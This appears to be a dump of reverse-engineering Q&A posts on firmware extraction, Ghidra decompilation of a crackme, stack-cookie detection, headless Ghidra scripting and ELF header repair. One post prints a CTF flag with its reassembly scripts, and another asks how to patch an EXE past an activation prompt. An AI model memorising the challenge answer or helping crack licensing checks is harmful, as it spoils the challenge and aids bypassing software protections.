  <row Id="22860" PostTypeId="1" CreationDate="2019-12-28T23:34:58.160" Score="0" ViewCount="200" Body="&lt;p&gt;I am new at reverse engineering but very eager to learn. I have a feature phone it5081 and downloaded it's binary firmware. I have googled and came to know about tools like binwalk,firmware mod kit as well as their usage. But all the tutorials and discussions are on the binary firmwares of routers,smart tvs,android phones etc; none on feature phone firmwares. &lt;strong&gt;I want to know if it is possible to extract the binary firmware of the feature phone somehow&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="30602" LastActivityDate="2019-12-29T10:54:43.580" Title="Is it possible to extract the binary firmware of a feature phone?" Tags="|binary-analysis|firmware|binary|" AnswerCount="1" CommentCount="0" ClosedDate="2020-01-03T06:16:23.227" ContentLicense="CC BY-SA 4.0" />
  <row Id="22861" PostTypeId="2" ParentId="3074" CreationDate="2019-12-28T23:42:55.703" Score="6" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/uxmal/reko&quot; rel=&quot;noreferrer&quot;&gt;Reko Decompiler&lt;/a&gt; is updated regularly and works for 16-bit DOS executables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can generate C code from the disassembly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's written in C#/.NET so requires mono if you want to run it on linux or macos.&lt;/p&gt;&#xA;" OwnerUserId="25042" LastEditorUserId="25042" LastEditDate="2019-12-29T00:09:40.770" LastActivityDate="2019-12-29T00:09:40.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22862" PostTypeId="1" AcceptedAnswerId="22864" CreationDate="2019-12-29T05:32:41.617" Score="1" ViewCount="1301" Body="&lt;p&gt;Here is the Ghidra decompiler output for a crackme problem. Specifically, &lt;a href=&quot;https://crackmes.one/crackme/5d443bb533c5d444ad3018b3&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;:&lt;br&gt;&#xA;Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined8 entry(undefined8 param_1,char *param_2)&#xA;{&#xA;  int iVar1;&#xA;  size_t sVar2;&#xA;  char *pcVar3;&#xA;  char *pcVar4;&#xA;  char local_118 [9];&#xA;  char local_10f;&#xA;  long local_10;&#xA;&#xA;  local_10 = *(long *)___stdinp;&#xA;  _strcspn(&quot;Enter the password...\n&quot;,param_2);&#xA;  _printf(local_118,0x100,*(undefined8 *)_fgets);&#xA;  pcVar3 = &quot;\n&quot;;&#xA;  sVar2 = _strlen(local_118);&#xA;  pcVar4 = local_118;&#xA;  local_118[sVar2] = '\0';&#xA;  iVar1 = dyld_stub_binder();&#xA;  if (iVar1 == 10) {&#xA;    if (local_118[0] == local_10f) {&#xA;      _strcspn(&quot;Correct!\nthe password is: %s\n&quot;,local_118);&#xA;    }&#xA;    else {&#xA;      _wrong_password(pcVar4,pcVar3);&#xA;    }&#xA;  }&#xA;  else {&#xA;    _wrong_password(pcVar4,pcVar3);&#xA;  }&#xA;  if (*(long *)___stdinp == local_10) {&#xA;    return 0;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having some trouble understanding the output.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the printf and strcspn functions seem to be switched? &lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;local_10f&lt;/code&gt; variable is never initialized, and yet is still used to compare to the passcode.&lt;/li&gt;&#xA;&lt;li&gt;I know from reading the solution, that as long as the first and last characters are the same, and the length is 10, then the passcode will work. How does &quot;dyld_stub_binder&quot; check for length? Where do the first and last characters get compared?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="30606" LastEditorUserId="30606" LastEditDate="2019-12-29T05:40:56.750" LastActivityDate="2019-12-29T08:43:27.700" Title="Weird Ghidra decompiler output for simple crack me" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22864" PostTypeId="2" ParentId="22862" CreationDate="2019-12-29T08:43:27.700" Score="2" Body="&lt;p&gt;It seems like your &lt;code&gt;Ghidra&lt;/code&gt; decompilation went wrong. Are you using the last version of &lt;code&gt;Ghidra&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The output that I get in the latest version is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;undefined8 entry(void)&#xA;&#xA;{&#xA;  size_t sVar1;&#xA;  char local_118 [9];&#xA;  char local_10f;&#xA;  long local_10;&#xA;&#xA;  local_10 = *(long *)___stack_chk_guard;&#xA;  _printf(&quot;Enter the password...\n&quot;);&#xA;  _fgets(local_118,0x100,*(FILE **)___stdinp);&#xA;  sVar1 = _strcspn(local_118,&quot;\n&quot;);&#xA;  local_118[sVar1] = '\0';&#xA;  sVar1 = _strlen(local_118);&#xA;  if ((int)sVar1 == 10) {&#xA;    if (local_118[0] == local_10f) {&#xA;      _printf(&quot;Correct!\nthe password is: %s\n&quot;,local_118);&#xA;    }&#xA;    else {&#xA;      _wrong_password();&#xA;    }&#xA;  }&#xA;  else {&#xA;    _wrong_password();&#xA;  }&#xA;  if (*(long *)___stack_chk_guard == local_10) {&#xA;    return 0;&#xA;  }&#xA;                    /* WARNING: Subroutine does not return */&#xA;  ___stack_chk_fail();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which makes much more sense. I would guess that your &lt;code&gt;Ghidra&lt;/code&gt; version has some problems with parsing the &lt;code&gt;plt&lt;/code&gt;/imports. Upgrade to the latest version and check again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your second question: &#xA;When you don't understand the decompilation, you should always go to the disassembly. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   100000e42        MOVSX      EAX,byte ptr [RBP + local_118]&#xA;&#xA;   100000e49        MOVSX      ECX,byte ptr [RBP + local_10f]&#xA;&#xA;   100000e50        CMP        EAX,ECX&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that there is a compersion between two bytes from the stack. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case &lt;code&gt;RBP + local_118&lt;/code&gt; is the pointer to the stack location of the user string. &#xA;&lt;code&gt;0x118 - 0x10f = 9&lt;/code&gt; =&gt; You are looking at the last character (index 9 of the string is the 10th character). So the comparison is between the first and the last char. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-29T08:43:27.700" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22865" PostTypeId="2" ParentId="22860" CreationDate="2019-12-29T10:54:43.580" Score="1" Body="&lt;p&gt;This depends on what you mean by &quot;extract&quot;. AFAIK old phones typically had a monolithic firmware, without explicit partitions or filesystem. However, there still could be some kind of structure, especially for non-code parts like strings, layout of the menus, or images. There is no common standards for this so while there may be some commonality for the same series or manufacturer, it can also be different between any two phones, so the only sure way is to reverse the code and figure out how it works, though in some cases simple structures may be obvious from visual inspection (e.g. in a hex editor).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-12-29T10:54:43.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22866" PostTypeId="1" CreationDate="2019-12-29T11:58:29.877" Score="1" ViewCount="458" Body="&lt;p&gt;This video &lt;a href=&quot;https://youtube.com/watch?v=4HxUmbOcN6Y&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://youtube.com/watch?v=4HxUmbOcN6Y&lt;/a&gt; presents how modern compilers protect stack overflows with stack cookies and function &lt;code&gt;__stack_chk_fail&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How can one identify if a binary has stack smashing protection? If I see  &lt;code&gt;__stack_chk_fail&lt;/code&gt; in IDA can I guess that this binary uses stack cookies(I will see this function only if this binary compiled dynamically).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But if this function is compiled statically, how can I recognize it? Each function will end with &lt;code&gt;if ... then abort else return&lt;/code&gt; or only functions that get buffer from user?&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;If binary use stack smash protection and get buffer unsafe (like &lt;code&gt;gets&lt;/code&gt; ) how can I get over stack cookies? Or there is no way to return to another function?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30610" LastEditorUserId="14622" LastEditDate="2020-01-03T06:15:58.493" LastActivityDate="2020-08-05T11:57:02.163" Title="Detecting and solutions of stack smash protection" Tags="|c|buffer-overflow|gcc|stack-protector|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22867" PostTypeId="2" ParentId="22866" CreationDate="2019-12-29T12:35:07.703" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can identify if a function is protected by the presence of &lt;code&gt;__stack_chk_fail&lt;/code&gt;. It doesn't matter if it's user-custom code or it is statically compiled from libraries. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;gets&lt;/code&gt; is a very problematic function by design. It's impossible to protect it from buffer overflows&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    char buf[2000];&#xA;    gets(buf);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case, the stack protection will most likely be on the &lt;code&gt;main&lt;/code&gt; function, because of the &lt;code&gt;buf&lt;/code&gt; variable.&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2019-12-29T12:35:07.703" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22869" PostTypeId="1" CreationDate="2019-12-29T19:41:41.367" Score="0" ViewCount="918" Body="&lt;p&gt;When i start the program by just double clicking the .exe, it has a certain behavior. This behavior differs when i start the program from running the launcher provided. I’d like to figure out how to get the same behavior from the program without using the launcher. I tried to trace in x64dbg but I just got nonsense where it was the same instruction over and over again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15299" LastActivityDate="2020-01-05T22:44:16.693" Title="How to compare two different executions of the same file?" Tags="|windows|x64dbg|tracing|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22874" PostTypeId="2" ParentId="22813" CreationDate="2019-12-30T01:44:40.207" Score="2" Body="&lt;p&gt;Here is the flag:&lt;/p&gt;&#xA;&#xA;&lt;blockquote class=&quot;spoiler&quot;&gt;&#xA;  &lt;p&gt; FLAG{1ts_l1k3_4_m0r3_fun_puzz1e_m0m}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;readelf -SW&lt;/code&gt; was used to look at 2 small baseline binaries: a simple &quot;hello world&quot;-style ELF binary and the &lt;code&gt;cat&lt;/code&gt; utility. This provided a frame of reference for how GCC organizes information in a binary. &lt;/li&gt;&#xA;&lt;li&gt;Hex dumps of the fragments were then compared to a hex dump of these 2 programs.  &lt;/li&gt;&#xA;&lt;li&gt;Areas of particular importance were certain sections and their boundaries, such as between &lt;code&gt;.plt&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;, and &lt;code&gt;.rodata&lt;/code&gt;. Sections containing strings provided helpful reference points, certain sections contained table-like structures with repeating patters, and object code could also be identified just from looking at the dump. The offsets in the hex dumps could be cross referenced with the information output by &lt;code&gt;readelf -SW&lt;/code&gt; to match locations in the dumps with the different sections.&lt;/li&gt;&#xA;&lt;li&gt;After the first and last piece had been identified, they were analyzed further to determine which sections they contained. As you have pointed out, &lt;code&gt;frag_4&lt;/code&gt; contains the ELF header and &lt;code&gt;frag_6&lt;/code&gt; contains the section header string table. However, these 2 pieces actually contain much more than just this information.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;frag_3&lt;/code&gt; contains the procedure linkage table and the beginning of the &lt;code&gt;.text&lt;/code&gt; section&lt;/li&gt;&#xA;&lt;li&gt;pieces 2, 3, 5 and 7 consist of object code&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;frag_5&lt;/code&gt; looked like it contained the end of the &lt;code&gt;.text&lt;/code&gt; section.&lt;/li&gt;&#xA;&lt;li&gt;at this point, the order looked like this: 4, 1, {2, 3, 7 - order could not be deduced from looking at hex dumps}, 5, 6 &lt;/li&gt;&#xA;&lt;li&gt;pieces 2, 3, and 7 were disassembled using Capstone using this script:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from capstone import *&#xA;import sys&#xA;&#xA;&#xA;md = Cs(CS_ARCH_X86, CS_MODE_64)&#xA;&#xA;def disassemble(buf):&#xA;    for i in md.disasm(buf, 0x4004e0):&#xA;        print(&quot;0x%x:\t%s\t%s&quot; %(i.address, i.mnemonic, i.op_str))&#xA;&#xA;&#xA;def main():&#xA;    file_buf = []&#xA;&#xA;    for arg in sys.argv:&#xA;        file_buf.append(arg)&#xA;&#xA;    buf = []&#xA;    for file in file_buf[1:]:&#xA;        with open(file, 'rb') as f:&#xA;            buf = f.read()&#xA;            print(f.name + '\n')&#xA;            disassemble(buf)&#xA;            print('\n\n')&#xA;&#xA;if __name__ == '__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;After viewing the disassembly, an educated guess was made: 3, 2, 7&lt;/li&gt;&#xA;&lt;li&gt;Then the file was rebuilt:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;file_names = ['frag_4', 'frag_1', 'frag_3', 'frag_2', 'frag_7', 'frag_5', 'frag_6']&#xA;&#xA;bytes = b''&#xA;for file in file_names:&#xA;    with open(file, 'rb') as f:&#xA;        buf = f.read()&#xA;        bytes += buf&#xA;&#xA;with open('reassembled.elf', 'wb') as f:&#xA;    f.write(bytes)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Resulting file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -SW reassembled.elf &#xA;There are 31 section headers, starting at offset 0x1ac8:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            0000000000000000 000000 000000 00      0   0  0&#xA;  [ 1] .interp           PROGBITS        0000000000400238 000238 00001c 00   A  0   0  1&#xA;  [ 2] .note.ABI-tag     NOTE            0000000000400254 000254 000020 00   A  0   0  4&#xA;  [ 3] .note.gnu.build-id NOTE            0000000000400274 000274 000024 00   A  0   0  4&#xA;  [ 4] .gnu.hash         GNU_HASH        0000000000400298 000298 00001c 00   A  5   0  8&#xA;  [ 5] .dynsym           DYNSYM          00000000004002b8 0002b8 000090 18   A  6   1  8&#xA;  [ 6] .dynstr           STRTAB          0000000000400348 000348 00005f 00   A  0   0  1&#xA;  [ 7] .gnu.version      VERSYM          00000000004003a8 0003a8 00000c 02   A  5   0  2&#xA;  [ 8] .gnu.version_r    VERNEED         00000000004003b8 0003b8 000030 00   A  6   1  8&#xA;  [ 9] .rela.dyn         RELA            00000000004003e8 0003e8 000018 18   A  5   0  8&#xA;  [10] .rela.plt         RELA            0000000000400400 000400 000060 18  AI  5  24  8&#xA;  [11] .init             PROGBITS        0000000000400460 000460 00001a 00  AX  0   0  4&#xA;  [12] .plt              PROGBITS        0000000000400480 000480 000050 10  AX  0   0 16&#xA;  [13] .plt.got          PROGBITS        00000000004004d0 0004d0 000008 00  AX  0   0  8&#xA;  [14] .text             PROGBITS        00000000004004e0 0004e0 0003c2 00  AX  0   0 16&#xA;  [15] .fini             PROGBITS        00000000004008a4 0008a4 000009 00  AX  0   0  4&#xA;  [16] .rodata           PROGBITS        00000000004008b0 0008b0 00000f 00   A  0   0  4&#xA;  [17] .eh_frame_hdr     PROGBITS        00000000004008c0 0008c0 00004c 00   A  0   0  4&#xA;  [18] .eh_frame         PROGBITS        0000000000400910 000910 000154 00   A  0   0  8&#xA;  [19] .init_array       INIT_ARRAY      0000000000600e10 000e10 000008 00  WA  0   0  8&#xA;  [20] .fini_array       FINI_ARRAY      0000000000600e18 000e18 000008 00  WA  0   0  8&#xA;  [21] .jcr              PROGBITS        0000000000600e20 000e20 000008 00  WA  0   0  8&#xA;  [22] .dynamic          DYNAMIC         0000000000600e28 000e28 0001d0 10  WA  6   0  8&#xA;  [23] .got              PROGBITS        0000000000600ff8 000ff8 000008 08  WA  0   0  8&#xA;  [24] .got.plt          PROGBITS        0000000000601000 001000 000038 08  WA  0   0  8&#xA;  [25] .data             PROGBITS        0000000000601038 001038 000010 00  WA  0   0  8&#xA;  [26] .bss              NOBITS          0000000000601048 001048 000008 00  WA  0   0  1&#xA;  [27] .comment          PROGBITS        0000000000000000 001048 000035 01  MS  0   0  1&#xA;  [28] .shstrtab         STRTAB          0000000000000000 0019b8 00010c 00      0   0  1&#xA;  [29] .symtab           SYMTAB          0000000000000000 001080 0006c0 18     30  47  8&#xA;  [30] .strtab           STRTAB          0000000000000000 001740 000278 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),&#xA;  L (link order), O (extra OS processing required), G (group), T (TLS),&#xA;  C (compressed), x (unknown), o (OS specific), E (exclude),&#xA;  l (large), p (processor specific)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the symbol table and section header table were intact, &lt;code&gt;objdump -dj .text reassembled.elf&lt;/code&gt; was used to compare disassembly of the code in the file to that of &lt;code&gt;cat&lt;/code&gt; to check for consistency. There were some differences, but it turned out not to matter, as the flag was recoverable even though the program segfaults:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ ./reassembled.elf &#xA;��Ϛ^FLAG{1ts_l1k3_4_m0r3_fun_puzz1e_m0m}&#xA;*** stack smashing detected ***: &amp;lt;unknown&amp;gt; terminated&#xA;Aborted (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2020-03-19T16:36:57.827" LastActivityDate="2020-03-19T16:36:57.827" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22876" PostTypeId="2" ParentId="22869" CreationDate="2019-12-30T13:29:48.780" Score="1" Body="&lt;p&gt;It might be useful to check the command line that was used to start the program.&#xA;Open the Details tab of Task Manager and right click on any column (Name/PID/status). Then choose &quot;Select columns&quot; and in the new window scroll down and check the &quot;Command line&quot; box (below the I/O ones).&lt;/p&gt;&#xA;" OwnerUserId="30617" LastActivityDate="2019-12-30T13:29:48.780" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22878" PostTypeId="2" ParentId="22435" CreationDate="2019-12-31T08:42:48.493" Score="5" Body="&lt;p&gt;This is a BlueCore02 Device Firmware Upgrade File. I could not find a specification, but the &lt;a href=&quot;http://read.pudn.com/downloads330/sourcecode/embedded/1450690/AN093.pdf&quot; rel=&quot;noreferrer&quot;&gt;BlueCore01 specification&lt;/a&gt; contains more or less the same fields (with a few differences)&lt;/p&gt;&#xA;" OwnerUserId="20778" LastActivityDate="2019-12-31T08:42:48.493" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22880" PostTypeId="1" AcceptedAnswerId="22885" CreationDate="2019-12-31T13:28:09.713" Score="4" ViewCount="1176" Body="&lt;p&gt;I'm interested in open a binary file (&lt;code&gt;.bin&lt;/code&gt;, without arch info), and analyze it with &lt;code&gt;analyzeHeadless.bat&lt;/code&gt; (Ghidra version without GUI). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know what is the architecture of the file, so I pass it as a flag to the analyzer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My command line is:&#xA;&lt;code&gt;analyzeHeadless.bat  &amp;lt;project_location&amp;gt;  &amp;lt;project_name&amp;gt; -import &amp;lt;my_file&amp;gt; -processor &amp;lt;my_known_processor&amp;gt; -postscript &amp;lt;my_script.py&amp;gt; -scriptPath &amp;lt;path&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my_script.py is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for block in getMemoryBlocks():&#xA;    current = block.getStart().getOffset()&#xA;    end = block.getEnd().getOffset()&#xA;    addr = currentProgram.getAddressFactory().getAddress(hex(current).replace('L', ''))&#xA;    disassemble(addr)&#xA;    current +=1&#xA;&#xA;func = getFirstFunction()&#xA;print(&quot;First func is:    &quot; + str(func))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try to disassemble every address (looks like Ghigra doesn't do it itself), and after that I want to print the first function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is:&#xA;&lt;code&gt;func&lt;/code&gt; appears to be &lt;code&gt;None&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if after the headless execution I open the project in the GUI &lt;code&gt;Ghidra&lt;/code&gt;, and execute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;func = getFirstFunction()&#xA;print(&quot;First func is:    &quot; + str(func))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works and gets me the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what am I doing wrong? I guess there is some analysis that runs in the background and created the functions. How can I run it in my python script? &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-01T15:27:22.680" Title="Ghidra Headless Analyzer - Create Functions" Tags="|python|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22881" PostTypeId="1" CreationDate="2019-12-31T16:50:30.100" Score="1" ViewCount="213" Body="&lt;p&gt;I'm still very new to the whole reverse engineering field. I wanted to start learning by bypassing an activation code prompt. I found the line in OllyDbg, and moved the EXE to HIEW (Hacker Eye View) to crack it. However, whenever I press F3 in HIEW to edit, it says &lt;strong&gt;Sharing Violation. (R)etry (A)bort&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried modifying the Security in the properties of the EXE I'm cracking, so that all users have full permissions. It didn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried running HIEW as admin, and still to no avail. Help!&lt;/p&gt;&#xA;" OwnerUserId="30627" LastActivityDate="2020-01-03T21:09:20.550" Title="HIEW Sharing Violation On Edit" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22882" PostTypeId="1" CreationDate="2019-12-31T21:21:33.207" Score="1" ViewCount="133" Body="&lt;p&gt;If I want to debug process in embedded that running linux , I can run gdb-server in embedded and attach to process with Ida.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is if this process has 1 thread that can't stop over than x seconds (for example this thread feed the watchdog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I attach to debug all threads in the process instead the thread that feed the watchdog(I know the thread id) . Or maybe debug only 1 thread in the process that interesting me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I attach to process and debug all thread are stopped.&lt;/p&gt;&#xA;" OwnerUserId="30232" LastActivityDate="2019-12-31T21:21:33.207" Title="Debug only one thread with ida-gdb server" Tags="|ida|gdb|embedded|process|thread|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22883" PostTypeId="2" ParentId="12316" CreationDate="2020-01-01T02:54:03.857" Score="3" Body="&lt;p&gt;In this particular case, repairing the header can be automated. Since the section header string table is present, the original value of &lt;code&gt;e_shnum&lt;/code&gt; can be found by counting the number of strings in the table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h hello&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              DYN (Shared object file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x3e0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          6056 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         29  &amp;lt;-----------------&#xA;  Section header string table index: 28&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Corrupted:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -h hello&#xA;ELF Header:&#xA;  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 &#xA;  Class:                             ELF32&#xA;  Data:                              2's complement, little endian&#xA;  Version:                           1 (current)&#xA;  OS/ABI:                            UNIX - System V&#xA;  ABI Version:                       0&#xA;  Type:                              DYN (Shared object file)&#xA;  Machine:                           Intel 80386&#xA;  Version:                           0x1&#xA;  Entry point address:               0x3e0&#xA;  Start of program headers:          52 (bytes into file)&#xA;  Start of section headers:          6056 (bytes into file)&#xA;  Flags:                             0x0&#xA;  Size of this header:               52 (bytes)&#xA;  Size of program headers:           32 (bytes)&#xA;  Number of program headers:         9&#xA;  Size of section headers:           40 (bytes)&#xA;  Number of section headers:         52  &amp;lt;------------------&#xA;  Section header string table index: 28&#xA;readelf: Error: Reading 2080 bytes extends past end of file for section headers&#xA;readelf: Error: Reading 7216 bytes extends past end of file for dynamic string table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reading the section header string table:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from elftools.elf.elffile import ELFFile&#xA;&#xA;with open('hello', 'rb') as f:&#xA;    elffile = ELFFile(f)&#xA;    print(&quot;original e_shnum:\t&quot; + str(len(elffile.get_section(28).data().decode('ascii').split('\x00')) + 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When run against the binary with the corrupted header, the output is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ python3 recover_e_shnum.py &#xA;original e_shnum:   29&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This script will repair the header automatically:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/python3&#xA;&#xA;from elftools.elf.elffile import ELFFile&#xA;from struct import pack&#xA;&#xA;with open('hello', 'rb+') as f:&#xA;    elffile = ELFFile(f)&#xA;    e_shnum = len(elffile.get_section(28).data().decode('ascii').split('\x00')) + 1 &#xA;    f.seek(48)&#xA;    f.write(pack('h', e_shnum))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-01-01T02:54:03.857" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22884" PostTypeId="2" ParentId="22273" CreationDate="2020-01-01T13:03:06.707" Score="-1" Body="&lt;p&gt;I guess &lt;code&gt;newByte[two.length + 1] = 1;&lt;/code&gt; look like iterate some value in variable &lt;code&gt;two&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14199" LastActivityDate="2020-01-01T13:03:06.707" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22885" PostTypeId="2" ParentId="22880" CreationDate="2020-01-01T15:27:22.680" Score="3" Body="&lt;p&gt;The solution that I found is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;analyze(currentProgram)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just after the disassembly. &lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-01-01T15:27:22.680" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
